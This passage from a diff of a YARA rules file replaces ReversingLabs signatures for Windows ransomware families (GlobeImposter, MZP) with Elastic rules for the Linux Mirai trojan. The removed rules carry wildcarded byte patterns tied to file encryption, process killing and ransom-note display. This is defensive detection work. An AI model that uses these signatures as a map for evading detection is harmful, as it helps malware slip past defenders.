-            ?? 8D 85 ?? ?? ?? ?? 50 53 8B C8 E8 ?? ?? ?? ?? 33 D2 85 FF 7E ?? 8B 85 ?? ?? ?? ??
-            8A 0C 10 8B 85 ?? ?? ?? ?? 88 0C 10 42 3B D7 7C ?? 3B FB 7D ?? 8B C3 2B C7 50 8B 85
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 03 C7 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50
-            53 8B C8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B
-            95 ?? ?? ?? ?? 8D 45 ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74
-            ?? 6A ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 33 FF 5A 8B 85 ?? ?? ?? ?? 8A 4C 3D ?? 88 0C 38
-            47 3B FA 7C ?? 8D 75 ?? 6A ?? 2B F2 5F 8B 85 ?? ?? ?? ?? 8A 0C 32 88 0C 10 42 3B D7
-            7C ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 83 EC ?? 8D
-            85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-        }
-		$encrypt_files_2_p3 = {
-            85 C0 79 ?? 6A ?? E9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B F7 8B 85 ?? ??
-            ?? ?? 8A 0C 37 88 0C 38 47 3B FA 7C ?? 8B B5 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8A 8C 02 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 88 0C 10 42 81 FA ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ??
-            74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B C6 E9 ?? ?? ?? ?? 51 6A ?? 53 FF B5 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8
-            ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 87 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B
-            F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59
-            59 EB ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 01 34 85
-            ?? ?? ?? ?? FF 04 85 ?? ?? ?? ?? 33 FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B C7 E8 ?? ?? ?? ?? C3
-        }
+		$a = { 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($find_special_folders) and ($encrypt_files_1) and ( all of ($encrypt_files_2_p*)) and ($remote_connection)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Globeimposter : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_449937Aa : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects GlobeImposter ransomware."
-		author = "ReversingLabs"
-		id = "6634a554-b4bb-503d-a4f1-9997b4caa1f0"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.GlobeImposter.yara#L1-L171"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "4345a767f270428f3b509fdad5a96bf9b494b190d3a836c4bf53dfd75da5bacb"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "449937aa-682a-4906-89ab-80d7127e461e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1105-L1123"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6f27766534445cffb097c7c52db1fca53b2210c1b10b75594f77c34dc8b994fe"
+		logic_hash = "d459e46893115dbdef46bcaceb6a66255ef3a389f1bf7173b0e0bd0d8ce024fb"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "GlobeImposter"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "cf2c6b86830099f039b41aeaafbffedfb8294a1124c499e99a11f48a06cd1dfd"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_1 = {
-            81 EC ?? ?? ?? ?? 83 24 24 ?? 6A ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 44 24
-            ?? 50 E8 ?? ?? ?? ?? 8D 04 24 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 8B 1D ??
-            ?? ?? ?? 55 56 57 8B 3D ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ?? ??
-            ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 8D 84 24 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 50 89 74 24 ?? FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            8B E8 83 FD ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84
-            74 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8
-            ?? ?? ?? ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ??
-            50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ??
-            50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ??
-            50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF B4 24
-            ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ??
-            50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ??
-            50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D
-            84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50
-            55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 E8
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2
-        }
-		$search_files_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8B F8 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6
-            8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 85 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A
-            ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89
-            04 B7 51 50 FF 15 ?? ?? ?? ?? 46 FE 85 ?? ?? ?? ?? D1 EB 75 ?? EB ?? 68 ?? ?? ?? ??
-            FF 34 B7 FF 15 ?? ?? ?? ?? 85 C0 74
-        }
-		$encrypt_files_2 = {
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 24 24 ?? 53 55 56 57 E8 ?? ?? ?? ?? 8B D0 8D 4C 24
-            ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ??
-            ?? 8B 35 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 7C 24 ??
-            FF D3 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 7C ?? ?? ?? ?? 8D 44
-            24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F8 33 D2 F6 44
-            24 ?? ?? 8B CF 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24
-            ?? ?? ?? ?? 50 FF D3 8D 94 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ??
-            42 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0
-            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24
-            ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 51 6A ?? 5A 8B
-            CF E8 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ??
-            ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ??
-            ?? ?? 50 FF D3 6A ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 7C 24 ?? 59 8D 44 24 ??
-            50 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? E8
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C2
-        }
-		$kill_specific_processes_2 = {
-            81 EC ?? ?? ?? ?? 56 57 6A ?? 5E 56 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89
-            74 24 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 53 55 BE ?? ?? ??
-            ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8B E8 33 D2 85 ED 7E ?? 0F BE 0C 1A E8 ?? ?? ?? ?? 88 04 1A 42 3B D5 7C ?? FF 36
-            53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? 85 C0 74 ?? 33 DB
-            53 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? FF B4
-            24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D
-            44 24 ?? 50 53 53 68 ?? ?? ?? ?? 53 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ??
-            ?? 8D 84 24 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ??
-            ?? ?? ?? 5D 5B 5F 5E 81 C4 ?? ?? ?? ?? C2
-        }
-		$kill_specific_processes_1 = {
-            81 EC ?? ?? ?? ?? 55 56 57 6A ?? 5E 56 33 ED 8D 44 24 ?? 55 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 FF ?? 0F 84 ?? ?? ?? ??
-            53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 8B 5C
-            24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24 ?? 85 C0 7E ?? 8B F8
-            0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24 ?? ?? ?? ?? FF 34 B0
-            55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ?? ?? ?? 7C ?? 8B 7C 24
-            ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 50 FF
-            15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4
-            ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ??
-            ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55 8D 84 24 ?? ?? ?? ??
-            50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
-            ?? ?? 57 FF 15 ?? ?? ?? ?? 5B 5F 5E 5D 81 C4 ?? ?? ?? ?? C2
-        }
-		$encrypt_files_3 = {
-            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 74 ?? ??
-            ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8 ?? ?? ??
-            ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF
-            D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF
-            D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF 74 24 ?? 8D 84 24 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 84 24
-            ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50 55 FF 15
-        }
-		$search_files_2 = {
-            53 55 56 57 8B 3D ?? ?? ?? ?? 6A ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B E8 FF 15 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 8D 84 24 ?? ??
-            ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 84 24 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? C6 84
-            24 ?? ?? ?? ?? ?? FF D7 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 B5 ?? 51 50
-            FF 15 ?? ?? ?? ?? 46 FE 84 24 ?? ?? ?? ?? D1 EB 75 ?? 33 FF 85 F6 7E ?? 8B 9C 24 ??
-            ?? ?? ?? 8D 44 24 ?? 2B E8 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8C
-            24 ?? ?? ?? ?? 89 48 ?? 8D 0C BD ?? ?? ?? ?? 03 CD 89 58 ?? 8B 4C 0C ?? 89 08 33 C9
-            51 51 50 68 ?? ?? ?? ?? 51 51 FF 15 ?? ?? ?? ?? 89 44 BC ?? 47 3B FE 7C ?? 6A ?? 6A
-            ?? 8D 44 24 ?? 50 56 FF 15
-        }
-		$kill_specific_processes_3 = {
-            E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 FF
-            ?? 0F 84 ?? ?? ?? ?? 53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57
-            E8 ?? ?? ?? ?? 8B 5C 24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24
-            ?? 85 C0 7E ?? 8B F8 0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24
-            ?? ?? ?? ?? FF 34 B0 55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ??
-            ?? ?? 7C ?? 8B 7C 24 ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 55 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF
-            15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24
-            ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55
-            8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15
-        }
+		$a = { 00 00 5B 72 65 73 6F 6C 76 5D 20 46 6F 75 6E 64 20 49 50 20 }
 
 	condition:
-		uint16(0)==0x5A4D and (($search_files_1 and $encrypt_files_1 and $kill_specific_processes_1) or ($search_files_1 and $encrypt_files_2 and $kill_specific_processes_2) or ($search_files_2 and $encrypt_files_3 and $kill_specific_processes_3))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_MZP : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_2E3F67A9 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects MZP ransomware."
-		author = "ReversingLabs"
-		id = "c08a4080-fa26-5b7b-869d-5f59096b1a12"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.MZP.yara#L1-L147"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "724ae1033bfb8ff494b30e6b3333e6c848375f1b001b75e71c9444c9f9f31251"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "2e3f67a9-6fd5-4457-a626-3a9015bdb401"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1125-L1143"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
+		logic_hash = "8c83c5d32c58041444f33264f692a7580c76324d2cbad736fdd737bdfcd63595"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "MZP"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$show_ransom_note_p1 = {
-            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 53 56 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ??
-            ?? 88 55 ?? 8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C3 E8 ?? ?? ??
-            ?? 89 1D ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 33 C0
-            89 46 ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ??
-            6A ?? 6A ?? 8D 45 ?? 50 33 C9 B2 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8D 86 ??
-            ?? ?? ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ??
-            C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 33 C0 89 86 ?? ??
-            ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ??
-            ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ??
-            ?? ?? C6 86 ?? ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C6 E8
-            ?? ?? ?? ?? B2 ?? 8B C6 E8 ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? A1 ?? ??
-            ?? ?? 8B 00 50 E8 ?? ?? ?? ?? 8B D0 8B C6 E8 ?? ?? ?? ?? 33 D2 8B C6 E8
-        }
-		$show_ransom_note_p2 = {
-            C6 86 ?? ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 8D 86 ?? ?? ?? ?? 33 D2 E8 ?? ??
-            ?? ?? C6 86 ?? ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ??
-            ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 33 C0 89 86 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? B2
-            ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? C6 46 ?? ?? C6 46 ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? C6 46
-            ?? ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
